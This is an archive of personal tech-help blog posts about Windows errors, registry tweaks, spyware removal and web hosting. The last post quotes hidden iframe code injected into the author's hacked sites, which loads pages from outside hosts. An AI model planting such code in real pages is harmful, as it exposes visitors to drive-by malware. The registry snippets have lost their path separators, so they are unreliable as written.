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win16 subsystem may be unstable
2008-04-03 08:34:00
We bought Acer Veriton PC with Window XP Professional pre-intalled in it. I tried to install an application named ACCPAC verion 5.1 which i used for our account. When I double click the setup.exe file nothing happens. As usual I pressed CTL+ALT+DEL and tried to view the tasks. I noticed two exe running named setup.exe and wowexec.exe. When I tried to end task the Wowexec.exe I got the error message saying "The request to end the selected 16 bit task has timed out. The Win 16 Subsystem may be unstable. Press OK to terminate the Win 16 Subsystem or Cancel to leave it running."No choice I clicked OK and searched for a solution in Google, MSN and yahoo. None of them worked. So finally I tried trial and error basis and finally got worked. The solution is:In ACER there is an application called Lanscope Agent is the culprit which gave this big problem. When you open the task you can see LockKM.exe. End task that task and now you can intall the win16 application. The path for that applicati...

0×800CCC7D Error Problem in Outlook, Outlook Express.
2008-03-20 19:21:00
I’ve been using GMail with the same settings for ages now, and it’s never been a problem until yesterday and today - seems that I can’t connect to the SMTP server on ports 25 nor 465. So I googled and found a solution. I hope this solution will be helpful for those who are all searching for this error.Please follow the steps below.Clear SSL Cache for Outlook and Outlook Express 1. Close the e-mail program, Outlook or Outlook Express .2. Open Internet Explorer. I think you all know how to open Internet Explorer.3. From the menu bar on top, click Tools, and click Internet Options…4. This will open the Internet Options settings box.5. At the top of this box, click Content.6. In the Content screen, click Clear SSL State.7. You may now reopen the e-mail program.I hope it will help you.Copyright to K.SivaKumar.
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Paypal alternatives
2008-03-10 16:02:00
I had a problem with paypal especially they dont have seller protection for digital products. So I looked for alternatives for my website to sell digital products. As usual I googled and found alot of websites providing services among them I prefer few to use.1. Google checkout.2. Money Brookers3 . http://www.propay.com (like a merchant account without all the fees)4. http://www.bidpay.com (closest competitor to PayPal)5. http://www.bitpass.com (a little different)6 . http://www.firepay.com7. http://www.neteller.com (based in London)8. http://www.checkfree.com (another popular alternative)Copyright to K.SivaKumar.
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how do u get into a computer after you forgot your password?
2008-03-09 19:53:00
How can I gain access to a Windows NT/2000/XP/2003 computer if I forgot the administrator's password? How can I reset the administrator's password if I forgot it?Ok, so you say you forgot your Windows administrator's password, huh? Oh well, it doesn't really matter if you did or you just say you did. The fact is that you need to gain access to a computer and you cannot "remember" the administrator's password.How can you get out of this situation without formatting and re-installing the operating system?One method of gaining access to the system is by trying hard to remember the forgotten password, or a password of another user which has the same level of administrative rights. However I don't think this approach will help you, otherwise you wouldn't be sitting here reading article, would you?)Another method is by trying to restore a backed up System State (in Windows 2000/XP/2003) or a ERD (in NT 4.0) in which you do remember the password. The problem with doing so is that yo...
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Download Free High quality photos with royalty free rights
2008-03-07 19:07:00
A new website named http://www.stock-archive.com is launching a website to sell photographs in online. Now they are in beta stage. So they are offering free download of high quality royalty free photogrpahs for free. They are updating the photos every week. You can download the photos until they launch their website offcially. Signup with them and enjoy downloading high quality royalty free photographs for free.Copyright to K.SivaKumar.
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How to unlock Homepage in Internet Explorer
2008-03-07 18:56:00
Click on Start->Run and type notepad.Notepad program will be opened. Now copy and paste the whole code below and save it as HomePageUnlock.reg.Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINESOFTWAREPoliciesMi crosoftInternet Explorer Control Panel]"HomePage"=dword:00000000[HKEY_CURR ENT_USERSoftwarePoliciesMicrosoftInternet ExplorerControl Panel]"HomePage"=dword:00000000[-HKEY_CUR RENT_USERSoftwareMicrosoftWindowsCurrentV ersionGroup Policy ObjectsLocalUserSoftwarePoliciesMicrosoft Internet Explorer Control Panel]"HomePage"=dword:00000001[-HKEY_CUR RENT_USERSoftwareMicrosoftWindowsCurrentV ersionGroup Policy ObjectsLocalUserSoftwarePoliciesMicrosoft Internet ExplorerControl Panel]"**del.HomePage"=" "[HKEY_CURRENT_USERSoftwareMicrosoftWindo wsCurrentVersionPoliciesExplorer]"NoSaveS ettings"=dword:00000000[HKEY_CURRENT_USER SoftwareMicrosoftWindowsCurrentVersionGro up Policy ObjectsLocalUserSoftwareMicrosoftWindowsC urrentVersionPoliciesExplo...
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How to lock the home page in Internet Explorer
2008-03-07 18:41:00
Click on Start->Run and type notepad.Notepad program will be opened. Now copy and paste the whole code below and save it as Home Page Lock.reg.Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINESOFTWAREPoliciesMi crosoftInternet Explorer Control Panel]"HomePage"=dword:00000001[HKEY_CURR ENT_USERSoftwarePoliciesMicrosoftInternet ExplorerControl Panel]"HomePage"=dword:00000001[HKEY_CURR ENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesExplorer]"NoSaveSettings"=dw ord:00000000Double click the HomePageLock.reg file and click ok to write it to the registry.Copyright to K.SivaKumar.
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Local machine: installation failed Error: Action failed for file avgamsvr.e
2007-11-20 09:41:00
When I try to install an other antivirus program AVG, it encounters this problemLocal machine: installation failed Installation: Error : Action failed for file avgamsvr.exe: creating file.... No such file or directorySo the installation also failed.Sucking man I cant able to install any antivirus software and also cannot able to do any online scanning. So finally googled and got the solution. Please download ComboFix by sUBs:NOTE: In the event you already have ComboFix, this is a new version that I need you to download.Save it to your desktop.Double-click combofix.exe and follow the prompts.When finished, it shall produce a log for you. Copy and paste the contents of the log in your next reply.CAUTION: Please do NOT mouse-click ComboFix's window while it is running. That may cause it to stall. Also, please do NOT adjust your time format while ComboFix is running.This software combofix fixes my problem. There is a trojan horse in my pc which gave all these probl...
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Google bought Feedburner for $100 Million
2007-06-04 04:42:00
According to Feedburner website, Googl e had bought the leading RSS management company Feedburner for around $100 Million all cash deal. Feedburner was founded in 2003 and this buyout represents the increased usage of RSS to read blogs by most of us. Feedburner currently boasts of 422,717 publishers who in turn burned about 721,074 feeds.While some people prefer the community feeling via the comments and the interaction provided by Blogs by visiting the site, some others prefer the comforts of keeping themselves updated through their RSS readers.Most Bloggers depend on Ads for revenue and RSS effectively eliminates any ads from being shown. Google recognizes this and this deal represents their desire to move in monetizing the RSS feeds via their AdSense or recently acquired DoubleClick.Copyright to K.SivaKumar.
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Chkdsk file segment XXXX unreadable
2007-05-23 06:09:00
I am using Windows XP and suddenly I got the errorKERNEL_DATA_INPAGE_ERRORSTOP:0X00000 07A (0XC03E12A4,0XC000000E,0XF84A94A1,0X0C08F 860) Ntfs.sys - Address F84A94A1 base at F8444000, DateStamp 41107eeaI tried all sort of solutions but cannot get rid of it. So I took a backup of my hard disk and planned to reformat it. I did fresh installion of XP in my Laptop. everything goes normal. After everything finished next day once again I got the same error and totally fed up. So I decided to run the chkdsk to check the hard disk. While running the chkdisk I saw the error sayingFile record segment 13304 is unreadableFile record segment 13305 is unreadableFile record segment 13306 is unreadableFile record segment 13307 is unreadableThen it fixed some files blah blah. Then I googled for this error and finally got the solution saying the hard disk is going to die :(. So no choice man need to change the hard disk and buy a new one.Copyright to K.SivaKumar.

Cannot add printer. Unable to spool in windows xp
2007-05-11 03:08:00
Suddenly yesterday all the printers in my windows xp professional disappeared and when I tried to add the printer it prompts the error: Cannot Add Printer . Unable to Spool.As usual I tried to find out a soultion in search engine. A lot of people suggested different kind of solutions. But for me only one worked. First I checked the services whether Print Spooler service is running or not. No its not running. So I started it manually and made the startup type to automatic.Then I went to c:windowssystem32spoolPrinters Folder and deleted all files. Hurrah Now I can able to see all printers and also can add printer.Those who dono how to check the services. Please follow the steps:1. Click Start Button and Click Run as shown below.2. You can see the windows below.3. Type services.msc and press ok.4. Now you can see the services window.Copyright to K.SivaKumar.
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Tips for choosing a domain name
2007-05-09 06:11:00
Choosing a domain names may seem like a simple task, unfortunately it is not always a simple as you would like it to be. They are a few rules you can use to avoid some of the hassle and frustration of registering a domain name.The first rule is better the devil you know. This relates to domain registrars, in my experience it is best to stick with a domain registrar that you know. You will avoid the uncertainty of a new registration process and keeping all of your domains under one roof is much more convenient. I would only suggest trying a new registrar if you have a good recommendation from someone you trust.Keep it short and simple. The more characters your domain name has the more a potential visitor has to type which means there is a greater chance of mistyping. Although it is unlikely you will be able to find a 3,4 or even 5 letter dot com domain you can still find or invent a catchy domain name with few letters.Make it easy to say and easy to understand. It's all very well be...
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KERNEL_DATA_INPAGE_ERROR STOP:0X0000007A (0XC03E12A4,0XC000000E,0XF84A94A1,
2007-04-27 04:57:00
I got this error in my laptop. Whenever I on my laptop after few mintues I get the error as mentioned below.KERNEL_DATA_INPAGE_ERRORSTOP:0X0000 007A (0XC03E12A4,0XC000000E,0XF84A94A1,0X0C08F 860)Ntfs.sys - Address F84A94A1 base at F8444000, DateStamp 41107eeaAs usual I googled for a solution to settle this problem. Few sites gave me few suggestions to solve this problem. But none worked out for me. But most of the sites gave an idea that this error is due to either hard disk problem or memory problem. So first I ran the chkdsk by booting the laptop using Windows XP cd and went to repair mode.The report shows no error in the hard disk. Now I want to check the memory of my laptop. So I download the software named Memtest86 An advanced Memory Diagnostic tool. I download the Prebuit ISO format and made a bootable CD using the Nero Burn software. I used the CD to boot my PC and run the memory diagnostic test to run whole day and check all the memory blocks. Finally my problem is settled an...
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Register.com Invitation Coupon codes
2007-04-18 04:20:00
Register.com offers professional domain registration and includes free dns hostingas well. They even include free web based email (which can be forwarded to a personalaccount at another online service such as AOL, Earthlink, MSN). You can easily manageyour domain via their web interface, and make any changes that you need to your contactinformation or dns zone files as needed. There is no waiting for their customer servicedepartment to make changes, since you have the ability to manage it all yourself. Thereis plenty of free online help as well if you have never done this process before. Anotherplus is that with Register.com, you can easily manage multiple domains with a single account.register.com invitation codesCoupon Code : SCORE43Savings : $19.99/year Domain Registration (43% off)Expiration : UnknownRestrictions : .com, .net, .org, .biz, .us, and .info domain registrationCoupon Code : SCOREHOSSavings : 23% off monthly Basic HostingExpiration : UnknownRestrictions : Limited Time...
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The most wanted 11 Domain tools and resources
2007-04-17 09:00:00
Here I am giving a collection of resources that I have gathered from around the web for researching about domain names. There are some useful sites that will help you find out more about domain names and aid you in purchasing domain names.Domain name forumsDomain PostDNforumDNchatDomain LookupWhois SourceWhois.NetDomain informationPage Rank and Link PopularityGoogle PageRankICANNICANN WatchICANNTools and StatsRegistrar StatsDNS stuffCopyright to K.SivaKumar.
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Windows Vista Keyword Shortcuts
2007-04-13 05:51:00
For Windows Vista advanced users who prefer to use keyboard instead of mouse, here's a extensive listing of keyboard accelerators (also known as keyboard shortcuts or hot keys) built-in in Windows Vista . These keyboard accelerators provide a simple keyboard alternative to frequently used command which normally will require cumbersome several repeated clicking with mouse on Windows' graphical interface, especially for repetitive tasks. Most of the keyboard shortcuts existed since Windows 3.1 and Windows 95 era, but some of them is new to Windows Vista too.Function KeysShortcut Key Function(s)F1 Start Help (supported in most applications).F2 Rename selected icon or file in Windows Explorer or on the Desktop.F3 Open Search (in Windows Explorer or on the Desktop only).F4 Open a drop-down list (supported in many dialog boxes). For example, press F4 in a File Open dialog to drop down the Look In list.F5 Refresh the view in Windows Explorer, on the Desktop, in the Registry Editor, and so...
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How to remove the spyware Program1
2007-04-06 03:31:00
Welcome to the real world! Your system has been partially taken over by insidious adware programs written by hackers with malicious intentions.(1) Disconnect the computer from internet. Pull out the cable to the wall or disable the ethernet/modem device.(2) Use a professional adware/virus/worm/trojan removal tool and clean up the system. If you want to use online tools to remove them, then don't disconnect from internet. You may use reputed services such as "symantec" or "trendmicro" tools and detect/remove the nasty stuff through online assistance. These companies offer free services to remove them for home users.(3) Once you remove them, go to internet-explorer options, security and disable a whole lot of features:-disable scripting. This will turnoff javascripting and prevent crooks from repeating it. You can add selected sites to "trusted sites" and allow scripting there.-disable java, disable applets, disable activeX altogether, disable software permissions, increase safety le...
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CITYJOY.EXE a Variant from LOP.COM Threat.
2007-03-26 08:34:00
There is a new variant called CITYJOY.EXE which belongs to same family of LOP.COM threat. It hijacks the browser settings. The location of the variant is [%application_data%]sectpeakonlineblah. You can download the LOP remover from this location http://www.thespykiller.co.uk/files/lopre mover.exe and remove this threat.Copyright to K.SivaKumar.
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HiddenFaxWindow freezes computer
2007-03-26 07:55:00
HiddenFaxWindow seems to be from the Fax service. Disable the Fax service, if you have no need of it. Or uninstall Fax Services. To Remove a Windows XP HiddenFaxWindow ComponentLog on as Administrator or as a member of the Administrators group.Click Start, click Control Panel, and then double-click Add or Remove Programs.Click Add/Remove Windows Components. The Windows Components Wizard starts.In the Components list, click to clear the check box next to the component that you want to remove. Clear the check box of Windows Fax Services. Note that a shaded check box next to a component indicates that only some of its subcomponents are installed. If you want to remove a subcomponent, click Details. Then, click to clear the check box next to the subcomponents that you want to remove, and then click OK.Click Next.In the Completing the Windows Components Wizard screen, click Finish.Restart your PC.Copyright to K.SivaKumar.
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Error: UNMOUNTABLE_BOOT_VOLUME
2007-03-26 07:46:00
Problem : Error : UNMOUNTABLE_BOOT_VOLUMEwhen you start Windows XP, you may receive the following error message, where aaaaaaaa, bbbbbbbb, cccccccc, and dddddddd are hexadecimal numbers that may vary: STOP 0x000000ED (0xaaaaaaaa,0xbbbbbbbb,0xcccccccc,0xddddd ddd) UNMOUNTABLE_BOOT_VOLUME in windows xp.Solution : This has worked for me numerous times with UNMOUTABLE_BOOT_VOLUME errors:go into the recovery console with your XP cd and log into your windows installation then type:CHKDSK /R (this takes ages)CHKDSK /PFIXBOOTStill you have the same problem you can visit Microsoft troubleshooting guide. Click here to visit the microsoft of this error.Copyright to K.SivaKumar.
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How to remove SpyLocked and asafetyproject.com
2007-03-26 06:37:00
SpyLock ed (Spy Locked) is a rogue program that is installed by a trojan called Zlob. Of course you need to remove SpyLocked, but more importantly, you need to ALSO remove the Zlob trojan that installed it. Zlob infects your computer and starts generating warning messages in hopes of scaring you into buying SpyLocked. SpyLocked (Spy Locked) is a ransomware anti-spyware product that is secretly installed by the Zlob Trojan. Other trojans are also known to install SpyLocked. SpyLocked - or the trojan that installs it - starts generating warning messages (similar to the ones shown below) to try and force users into purchasing the full version of SpyLocked in order to have the alledged infections removed.Download SpyNoMore to scan your PC, it is very effective against the Zlob trojan and SpyLocked.Copyright to K.SivaKumar.
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Error Code : 0F00:136C. Msg:IDE device failed: Blank media is present in op
2007-03-19 05:18:00
Probably this error is displayed if you got a bad hard drive. Try to replace it and see if that takes care of the problem. Other possibilities are a bad system board.You can try to detect the Hard Disk in the BIOS setup. Each motherboard have its own option to go in to BIOS setup.If you feel that the disc was OK. You can try various iterations of booting up from disc, chkdsk, fixboot and so on and finally it will go through thru to Safe Mode.You must use XP Installation discs.Copyright to K.SivaKumar.
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This site may harm your computer
2007-03-12 02:05:00
I was searching in google for a keyword "baby care" while viewing the results page I noticed this message"This site may harm your computer"So I clicked the message above it directs me to Google support Q & A section where the below message is displayed.Why do some of my search results say "This site may harm your computer?" This warning message appears with search results that we've identified as sites that may install malicious software on your computer. We want our users to feel safer when they search the web, and we're continuously working to identify such dangerous sites and increase protection for our users.Malicious software is often installed without your knowledge or permission when you visit these sites. Some examples of malicious software include programs that delete data on your computer, steal personal information such as passwords and credit card numbers, or alter your search results. For more information on these types of sites, please visit http://www.stopbadwar...
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Want to work at Google?
2007-03-09 04:48:00
Getting hired by the likes of Googl e is a phenomenal task.If you think you are smart, there are 10,000 people just as smart - or smarter - than you are. (10,000 are the number of people Google has on its payroll around the world.)Here is how to get a foot in the door:Get a graduate from a brand-name university such as Stanford and Harvard. The company places a strong prominence on skill, and having gone through these schools shows you have some.Make sure you keep a grade point average of 4.0 or even higher. Anything less than an A could count against you.Be a team player. You will not be doing much solo work or getting your own workspace here, so start learning to play ball with others.Get recommended. A good word from a current Google employee is a leg-up. Google believes that good people recognize other good people. So if your resume is passed on through someone already working there, your probability of getting in is increased.Acquire diverse interests. It is a bonus if you like ...
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Faded question mark in Quicktime Logo in Firefox and IE 7.0
2007-02-28 04:13:00
After updating the Adobe Flash Player, Shock wave Player and Apple Quick Time Player to latest version I got this problem. Whenever I visit the trailer website I am getting a faded question mark in Quicktime Logo in the browser. When checked with Apple Quicktime support team, they asked me to re-install my player to stand alone player. I did that also still cannot able to solve the problem.How to solve this problem?As usual I googled for the solution I cant find it. Then went to search in Yahoo and got the solution for it. To fix it in firefox find out the file name NPSWF32.dll.Normally it will in C:WINDOWSSYSTEM32MacromedFlashNPSWF32.dll . Copy this file and paste it in C:Program FilesMozilla Fire fox plugins folder. Now it will work in Firefox. Copy the same file in C:Program FilesInternet Explorerplugins folder. This one will solve the problem.Copyright to K.SivaKumar.
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Task Manager has been disabled by the Admin Error
2007-02-23 02:14:00
Error:I recently got a virus that turned off my task manager and i have been unable to turn it back on. When i hit ctrl+alt+delete i get a message that says "the task manager has been disabled by your admin"Solution:Copy and paste this into the run box,it`s another way of achieving the above.That doesn`t mean to say that it will fix the problem.REG add HKCUSoftwareMicrosoftWindowsCurrentVersio nPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 0 /fCopyright to K.SivaKumar.
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CAT03MSK.dll was not found
2007-02-23 01:53:00
In our office we are using ACCPAC Accounting software, which is developed in Visual Basic and back end is Pervasive SQL. Suddenly yesterday when I click the ACCPAC Program shortcut it displays the errorCAT03MSK.dll was not foundI didnt do any changes in my PC but still got this error. Then finally I discovered that autoexec.bat is missing in my PC since I am using windows 98 as OS. I copied the Autoexec from another PC and restarted my PC. Thats it. My ACCPAC is working. What content is there in AUTOEXEC.BAT file?SET PATH=R:RUNTIME;C:CA_APPSWThe path is not settuped for the program to start so I got this error. If you get this error in windows xp or windows 2000 or windows vista Set it in Control Panel/System.Another error occured in windows xp for accpac.Description: Error occurred when activating ACCPAC Data Source.Code: 1.423Source: 07:20:28- DS.adsCSOPTFor the above error try installing the latest MSXML.MSI, that would be the solution for that error in all the other OS's.Copy...
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Minimized Windows Don't Appear on Taskbar
2007-02-21 02:21:00
This problem persisits yesterday to me. I tried to minimize my programs, the program icon doesn't appear on the taskbar. When I click CTR+ALT+DEL I can see the program running. As usual I googled and got this solution. I hope it will be helpful to you also.Open 'Control Panel' and select 'Add/Remove Programs'. Check for the program entries of WinSrvReg and Friend Greetings.If found, uninstall the program and reboot.Copyright to K.SivaKumar.
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Quality Score Updates in Adwords
2007-02-15 07:48:00
Adwords is going to update the quality score update next week. Because of this few keywords bid price will be affected due to poor quality score. Previously beta test advertisers are given the option to select the quality score in their reports. You can select this column by clicking 'Customize Columns' in one of your ad groups. Now they are going to introduce this to all advertisers. As you may have heard us say before, we believe that ads provide valuable information when they are highly relevant and targeted to a user's query. In order to serve high quality ads to our users, we use the Quality Score to set minimum bids for keywords based on keyword clickthrough rate (CTR), ad text relevance, the historical performance of the keyword on Google, and the user experience on the ad's landing page. Keywords with a higher Quality Score are rewarded with a lower minimum bid, so it costs less for those ads to be eligible for display. Low quality keywords receive higher minimum bids, o...
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stelaartois, kusik-tusik-trf Hacker Website
2007-02-15 07:25:00
On Feb 12 few of my websites is hacked by somebody and the below code is inserted inside my index.html files.iframe name="'counter'" src="'http://www.stelaartois.ru/index2.ph p'" frameborder="'0'" width="'16'" scrolling="'no'" height="'16'"Few other sites have the below code.iframe name="'StatPage'" src="'http://www.kusik-tusik-trf.com/trf/ traf.php'" width="5" height="5"All the sites are hosted in linux Cpanel and the hacker have captured the userid and password while you logging in to cpanel. What to do as usual called my hosting company technical support and restored all the files from the backup and they adviced to change the current password.So better change the password of cpanel asap.Copyright to K.SivaKumar.
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